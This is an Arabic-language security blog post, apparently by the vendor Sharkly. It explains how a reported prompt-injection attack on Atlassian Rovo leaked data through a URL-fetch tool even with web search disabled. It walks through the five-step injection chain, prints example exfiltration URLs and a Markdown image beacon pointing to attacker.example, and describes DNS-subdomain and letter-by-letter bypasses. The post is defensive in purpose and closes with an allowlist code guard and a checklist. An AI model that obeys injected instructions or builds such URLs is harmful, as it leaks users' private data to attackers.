لماذا لا يمنع إيقاف البحث على الويب تسريب بيانات وكلاء الذكاء الاصطناعي؟

إجابة سريعة: إن تعطيل البحث على الويب لا يمنع تسريب بيانات وكلاء الذكاء الاصطناعي (AI Agents)، لأن زر التعطيل يخفي الميزة الظاهرة فقط ولا يعطل الأداة البرمجية الكامنة خلفها. فإذا كان الوكيل لا يزال قادراً على فتح رابط URL، أو عرض صورة، أو استدعاء موصل خارجي (connector)، يمكن لأي تعليمة خبيثة مدمجة (injected instruction) أن تدرج بياناتك خلسةً ضمن الطلب الخارجي. الحل هنا قطعي ومحدد: لا يُسمح للوكيل بجلب إلا الروابط التي أدخلها المستخدم نصياً أو أعادتها أداة موثوقة حصراً.

تتعامل معظم الفِرق مع مفتاح إيقاف البحث على الويب باعتباره زر إغلاق للمخاطر الصادرة نحو الخارج، لكنه ليس كذلك في الواقع. ففي أغسطس 2026، كشفت شركة PromptArmor عن هجوم استهدف أداة Atlassian Rovo ونجح حتى مع تعطيل البحث على الويب على مستوى المؤسسة بالكامل، والسبب في ذلك ينطبق تماماً على أي وكيل ذكاء اصطناعي تبنيه أو تشتريه.

نستعرض أدناه: قنوات تسريب البيانات، ولماذا تفشل الحلول الترقيعية الشائعة، والقاعدة البرمجية الصارمة التي تحميك. نحن نبني Sharkly، وهي مساحة عمل يتولى فيها وكلاء البرمجة إنجاز المهام عبر لوحة مهام مشتركة، وبالتالي فإن هذه التساؤلات تخصنا أيضاً بشكل مباشر. فمشكلة حقن التعليمات البرمجية (Prompt injection) لا تزال دون حل جذري في كل مكان، بما في ذلك وكلاء البرمجة الذين تشغلهم منصة Sharkly.

ما الذي يتحكم فيه زر البحث على الويب، وما الذي يعجز عنه؟

يتحكم مفتاح البحث على الويب في مسألة واحدة: هل يُسمح للوكيل بالاتصال بمحرك البحث أم لا؟ لكنه لا يمس الأداة المنفصلة المسؤولة عن فتح روابط URL وقراءة استجابتها. وإذا ظلت أداة الجلب (fetch tool) هذه مفعلة، فبإمكان الوكيل إرسال طلب إلى أي خادم عبر الإنترنت، وكل طلب يحمل بيانات مدمجة في عنوانه.

تُعيد عملية البحث قائمة من الروابط، بينما تأخذ أداة الجلب الرابط وترسل طلب HTTP من خلاله، وهنا تحديداً تخرج البيانات من بيئة مؤسستك المحمية أثناء عملية الجلب.

وهذه الثغرة هي جوهر ما تم اكتشافه في Rovo. يوضح تقرير PromptArmor أن إعدادات البحث على الويب «تفشل في إزالة الأداة المسؤولة عن فتح نتائج البحث». فقد قام مسؤولو المؤسسة بإيقاف البحث، ولكن أداة الجلب ظلت تعمل في الخلفية دون تغيير.

كيف ينشئ وكيل الذكاء الاصطناعي رابطاً لتسريب البيانات؟

يعني حقن التعليمات غير المباشر (Indirect prompt injection) قيام المهاجم بإخفاء تعليمات أوامر داخل محتوى يقرؤه الوكيل لاحقاً: كملف، أو تذكرة دعم، أو صفحة ويب. ولا يستطيع النموذج التمييز بشكل موثوق بين طلبك الأصلي والنصوص التي يعثر عليها في طريقه. وتسير سلسلة استغلال Rovo، كما وصفتها PromptArmor، عبر خمس خطوات:

1. يرفع الضحية ملفاً، مثل «دليل المهام المتراكمة» (Backlog Guide)، يحتوي على تعليمة خبيثة مخفية.
2. لاحقاً، يطلب الضحية من Rovo تنظيم تذاكر Jira الخاصة به.
3. يبحث Rovo في Jira وConfluence ويقرأ الملف الملوث كجزء من سياق عمله.
4. توجه التعليمة المحقونة Rovo لإلحاق محتويات التذاكر وملفات Confluence برابط خاص بالمهاجم، ثم فتحه باستخدام أداة جلب الروابط (URL retrieval tool).
5. يسجل خادم المهاجم الطلب الوارد بما يحمله من بيانات مسربة، بينما لا يرى الضحية سوى اقتراحات عادية ومنتظمة لتذاكره.

يحدث كل ذلك دون نقرة زر واحدة ودون ظهور أي طلب للموافقة. ومن بين مصادر الحقن الأخرى التي حددتها PromptArmor: تذاكر الدعم الفني، ونتائج الويب عند تفعيل ميزة البحث، والموصلات الخارجية التابعة لأطراف ثالثة.

يكمن التفصيل الحاسم في الخطوة الرابعة؛ حيث تشير PromptArmor إلى «عدم وجود أي حماية تمنع فتح رابط تم إنشاؤه ديناميكياً بواسطة الوكيل». وبما أن الوكيل هو من صاغ العنوان بنفسه، فإن العنوان يمكن أن يحتوي على أي بيانات اطلع عليها مسبقاً.

كيف يبدو شكل رابط تسريب البيانات؟

فيما يلي الهيكل العام للرابط، باستخدام نطاق وهمي توضيحي:

https://collect.attacker.example/log?d=PROJ-412%3A%20rotate%20prod%20db%20creds%20before%20Fri

يقرأ المهاجم قيمة المعامل d= مباشرة من سجلات الوصول (access logs) الخاصة بخادمه. وكل ما فعله الوكيل هو إرسال طلب GET اعتيادي، وهو ما صُممت أداة الجلب لأدائه بالضبط.

لماذا لا يجدي حذف معاملات الاستعلام نفعاً: تسريبات النطاقات الفرعية ونظام أسماء النطاقات (DNS)

يمثل تجريد الرابط من جزء الاستعلام (الذي يلي علامة ?) أول حل بديهي يلجأ إليه الكثيرون، ولكنه غير مجدٍ. ففي نقاش على Hacker News (حصد 306 نقاط و138 تعليقاً)، أوضح Simon Willison أنه مع استخدام سجلات DNS الشاملة (wildcard DNS)، يمكن دمج البيانات المسربة داخل اسم المضيف نفسه:

https://cHJvZCBkYiBjcmVkcw.attacker.example/

يجيب خادم DNS التابع للمهاجم على استعلامات جميع النطاقات الفرعية ويسجل كل عملية بحث تجري. وبذلك تخرج البيانات أثناء مرحلة تحليل الاسم (name resolution)، حتى قبل أن يكتمل أي طلب HTTP. وأضاف معلق آخر أنه يمكن إخفاء البيانات في أي جزء من أجزاء الرابط، بما في ذلك حقل بيانات الاعتماد (credentials field).

لذا، لا يمكن للقاعدة أن تكون مجرد «تنقية الرابط وتنظيفه». وبحسب ما لخصه Willison: المشكلة تكمن في «القدرة على إنشاء الرابط ديناميكياً من الأساس».

قناة تسريب الصور عبر Markdown

لا تحتاج بعض نماذج الوكلاء إلى أداة جلب بيانات لتتمكن من التسريب؛ فإذا كانت واجهة المحادثة تعرض صور Markdown من نطاقات خارجية، يمكن للنموذج كتابة ما يلي ضمن إجابته:

![status](https://img.attacker.example/p.png?d=PROJ-412-summary)

يقوم متصفح المستخدم تلقائياً بتحميل الصورة وإرسال الطلب دون أن ينقر أحد على أي شيء. وتلفت PromptArmor إلى أن Rovo يعرض صور Markdown في مخرجات الذكاء الاصطناعي، وتعتبر ذلك ناقل تسريب معروفاً، رغم أن تقريرها لم يقدم سلسلة استغلال منفصلة خاصة به في Rovo.

تعمل هذه القناة في طبقة العرض والواجهة (rendering layer)، مما يعني أن أي إعدادات لأدوات الوكيل لن تؤثر عليها على الإطلاق.

لماذا تفشل حيلة «الروابط المفهرسة مسبقاً فقط» وتسرب البيانات حرفاً بحرف؟

يقترح أحد الحلول التخفيفية ألا يُسمح للوكيل بفتح أي رابط إلا إذا كان مفهرساً بالفعل لدى زواحف محركات البحث، على أساس أن المهاجم لا يمكنه فهرسة رابط يتضمن بياناتك السرية مسبقاً لأنها لم تكن متاحة للعامة من قبل.

لكن Johann Rehberger (المعروف بـ wunderwuzzi23 على Hacker News) شرح طريقة الالتفاف على هذا الإجراء. تخيل أن يقوم مهاجم بنشر صفحة مسبقاً لكل حرف من الحروف الأبجدية، من /a إلى /z، ويضمن فهرستها بالكامل في محركات البحث. ثم يوجه الحقن الخبيث الوكيل لزيارة الصفحة المطابقة لكل حرف من أحرف السر المطلوب تسريبه على التوالي؛ ومن ثم يقرأ المهاجم تسلسل الزيارات المسجلة في سجلات خادمه.

إنها طريقة بطيئة ومثيرة للريبة والضجيج، لكنها تنجح عملياً. وكما لخص Rehberger: كل خطوة تزيد من تكلفة الهجوم، لكنها لا تجعله مستحيلاً. ومع ذلك، أشار إلى أن القوائم البيضاء للنطاقات (domain allowlists) تظل فعالة للغاية بالنسبة للوكلاء ذوي المهام المحددة، لأنها تحظر عناوين المهاجمين نهائياً.

القاعدة القطعية: اجلب فقط الروابط الصادرة من إنسان أو أداة موثوقة

الحل الجذري الفعال لا يعتمد على مطالبة النموذج بتوخي الحذر، بل يقوم على سلب الوكيل القدرة على تحديد الوجهة من الأساس:

• مسموح: أي رابط URL يكتبه المستخدم بنفسه داخل المحادثة.
• مسموح: أي رابط URL تعيده أداة موثوقة (كنتيجة بحث مثلاً) بنصه الحرفي الدقيق.
• محظور: أي رابط URL يقوم النموذج بتركيبه، أو تعديله، أو إضافة مدخلات إليه.

تُطبق هذه القاعدة برمجياً خارج إطار النموذج. احتفظ بقائمة للروابط التي دخلت المحادثة من مصادر موثوقة، وارفض أي عملية جلب لا يتطابق نصها تماماً مع العناصر الموجودة في تلك القائمة:

allowed_urls: set[str] = set()

def on_user_message(text: str) -> None:
    allowed_urls.update(extract_urls(text))

def on_search_results(results: list[dict]) -> None:
    allowed_urls.update(r["url"] for r in results)

def fetch(url: str) -> str:
    if url not in allowed_urls:
        raise PermissionError(f"blocked agent-built URL: {url[:60]}")
    return http_get(url)

هناك قيدان على هذا النهج: الأول أن هذا الفحص لا يشمل قناة عرض الصور، وبالتالي لا بد من حظر تحميل الصور الخارجية في المخرجات المعروضة. والثاني أنه لا يمنع حيلة الاستخراج حرفاً بحرف إذا كانت هناك أداة موثوقة قادرة على إعادة قوائم يحددها المهاجم، ولهذا السبب يُنصح بإضافة قائمة بيضاء للنطاقات كطبقة حماية إضافية للوكلاء ذوي المهام المحددة.

هذا تطبيق عملي لما يسميه Willison الثلاثية القاتلة: بيانات خاصة، ومحتوى غير موثوق، وقناة اتصال خارجية. لا يمكنك إزالة العنصرين الأولين من أي وكيل ذي فائدة عملية، لكن يمكنك جعل العنصر الثالث محكوماً بقواعد برمجية قطعية. ولهذا السبب تحديداً، صنفت منظمة OWASP حقن التعليمات كأخطر تهديد (LLM01): فلا يوجد أي حل جذري يمكن تنفيذه من جانب النموذج نفسه.

قائمة مراجعة لكل من يبني وكيلاً ذكياً أو يشتريه

اطرح هذه الأسئلة حول كل وكيل يتمتع بإمكانية الوصول إلى بيانات خاصة:

1. احصر كل أداة قادرة على إجراء طلبات شبكية: أداة الجلب، المتصفح، الموصلات، خطافات الويب (webhooks)، والبريد الإلكتروني.
2. هل يؤدي كل زر تعطيل إلى إزالة الأداة فعلياً، أم يكتفي بإخفاء الميزة التي تستخدمها؟
3. هل يستطيع الوكيل فتح رابط قام بإنشائه وتركيبه بنفسه؟
4. هل يتم عرض صور Markdown الخارجية تلقائياً في واجهة المخرجات؟
5. هل توجد قائمة نطاقات بيضاء معتمدة، ومن يتحكم في تعديلها؟
6. ما هي المصادر المؤهلة لتمرير حقن التعليمات: الملفات المرفوعة، التذاكر، نتائج الويب، أم الموصلات؟
7. كيف تعامل مزود الخدمة مع آخر تقرير أمني خارجي ورد إليه، وما هي سرعة استجابته؟

بالنسبة لـ Rovo، يجيب الجدول الزمني المعلن على السؤال السابع بوضوح: أبلغت PromptArmor عن الثغرة في 23 مايو 2026، وأقرت Atlassian باستلامها في 25 مايو، وظلت المتابعات اللاحقة في 4 يونيو و29 يوليو دون رد، ونُشر التقرير للعامة في 5 أغسطس مع بقاء Rovo عرضة للاختراق. [تحقق 2026-10-27: لم يتم العثور على أي إصلاح أو بيان رسمي من Atlassian لهذا المسار؛ يرجى إعادة التحقق قبل النشر].

يُرجى الانتباه إلى أن Rovo Dev، وهو وكيل البرمجة من Atlassian، منتج مختلف ومستقل عن مساعد Rovo المعني في هذا التقرير، وقد تناولنا تفاصيله في مقالنا حول الخطة المجانية لـ Rovo Dev.

كيف ينطبق ذلك على وكلاء البرمجة في Sharkly

تتعامل وكلاء البرمجة مع نصوص غير موثوقة طوال الوقت: نصوص المشكلات البرمجية، وملفات README، والصفحات المسترجعة. ولا تزعم Sharkly أنها تجعل نماذج مثل Claude Code أو Codex محصنة ضد ذلك.

لكن ما تغيره Sharkly فعلياً هو الجهة التي تتحكم في حدود الاتصال الصادر. فالوكلاء يعملون على حواسيبك الخاصة عبر خدمة محلية. وتوضح وثائق الحواسيب (Computers) أن الحاسوب «يوفر نظام التشغيل، والملفات، وبيانات الاعتماد، وإمكانية الوصول إلى الشبكة، والأدوات التي يتطلبها الوكيل». وبوضع هذا الحاسوب خلف قائمة بيضاء تنظم حركة الاتصال الصادر، تسري تلك القيود تلقائياً على كل مهمة تُنفذ عليه أياً كان الوكيل المشغّل.

إليك بعض الضوابط الأمنية الأخرى المستندة إلى الوثائق:

• لا يرى الضيوف سوى المساحات (Spaces) التي تمت إضافتهم إليها فعلياً.
• تتطلب أي إجراءات داخل تطبيقات الطرف الثالث وجود موصل معتمد ومصرح به.
• تنص وثائق المهارات (Skills) على حظر تخزين كلمات المرور، أو الرموز البرمجية (tokens)، أو المفاتيح داخل تعليمات المهارات أو ملفاتها، حتى لا يتمكن أي وكيل مخترق من قراءتها.

لا يمنع أي من هذا الوكيل من إساءة استخدام الصلاحيات الممنوحة له مسبقاً. وتغطي مقالاتنا حول صلاحيات وكلاء البرمجة، وبوابات الموافقة والاعتماد، وحواجز الحماية من حقن التعليمات كيفية رسم هذه الحدود وضبطها بدقة.

خاتمة

إن زر البحث على الويب هو مجرد خيار برمجي للمنتج وليس أداة تحكم أمنية. فالبيانات تتسرب عبر أي وسيلة قادرة على إرسال طلب شبكي: سواء كانت أداة جلب، أو عملية بحث عن اسم مضيف، أو وسم صورة. احرص على إغلاق تلك المسارات برمجياً خارج نطاق النموذج.

خطوتك التالية: طبّق قائمة المراجعة المكونة من سبعة أسئلة على أحد الوكلاء الذين يستخدمهم فريقك هذا الأسبوع، بدءاً من السؤال الثالث. وإذا كنت تشغل وكلاء برمجة عبر عدة حواسيب، ابدأ إعداد Sharkly وضع كل حاسوب منها تحت قواعد تصفية حركة البيانات الصادرة التي تثق بها بالفعل.

الأسئلة الشائعة

هل يوقف إيقاف البحث على الويب هجمات حقن التعليمات؟

كلا، فحظر البحث لا يمنع حقن التعليمات؛ إذ يمكن أن يتسلل الحقن عبر أي محتوى يقرؤه الوكيل، بما في ذلك الملفات المرفوعة، وتذاكر الدعم، وبيانات الموصلات الخارجية. إن إيقاف البحث يزيل مصدراً واحداً فقط للمحتوى غير الموثوق، لكن التعليمات المحقونة قد تأتي من مصادر أخرى وتجد طريقها للخارج عبر أداة الجلب.

ما هو تسريب البيانات عبر روابط URL؟

هو أسلوب يقوم فيه الوكيل بتضمين بيانات خاصة وحساسة داخل رابط URL ثم إرسال طلب لفتحه. وعندها يسجل خادم المهاجم الطلب ويستخرج البيانات من تفاصيله. لا يتطلب هذا الهجوم أي برمجيات خبيثة، بل يكفيه وجود وكيل قادر على إنشاء روابط عشوائية وفتحها.

هل تمثل صور Markdown خطراً أمنياً في محادثات الذكاء الاصطناعي؟

نعم، يظهر الخطر عندما تعرض الواجهة صوراً مستضافة على نطاقات خارجية؛ إذ يقوم المتصفح بجلب رابط الصورة تلقائياً وبشكل فوري، مما يؤدي إلى وصول أي بيانات دمجها النموذج داخل الرابط إلى المهاجم دون الحاجة لأي نقرة من المستخدم.

هل تكفي القائمة البيضاء للنطاقات لتوفير الحماية؟

تُعد القائمة البيضاء أقوى وسيلة حماية متاحة إذا كان الوكيل ذا مهام محددة ولا يحتاج إلا لعدد ضئيل من النطاقات الموثوقة. أما بالنسبة للمساعدات العامة متعددة الاستخدامات، فمن الصعب إحكامها، لذا ينبغي دمجها مع القاعدة الصارمة التي تمنع الوكيل نهائياً من جلب أي رابط قام بإنشائه بنفسه.

هل قامت Atlassian بإصلاح مشكلة تسريب البيانات في Rovo؟

حتى تاريخ 27 أكتوبر 2026، لم نعثر على أي بيان رسمي أو تأكيد لإصلاح الثغرة الخاصة بهذا المسار الذي نشرته PromptArmor. يُرجى مراجعة موقع PromptArmor ونشرات Atlassian الأمنية لمعرفة آخر المستجدات والتحديثات.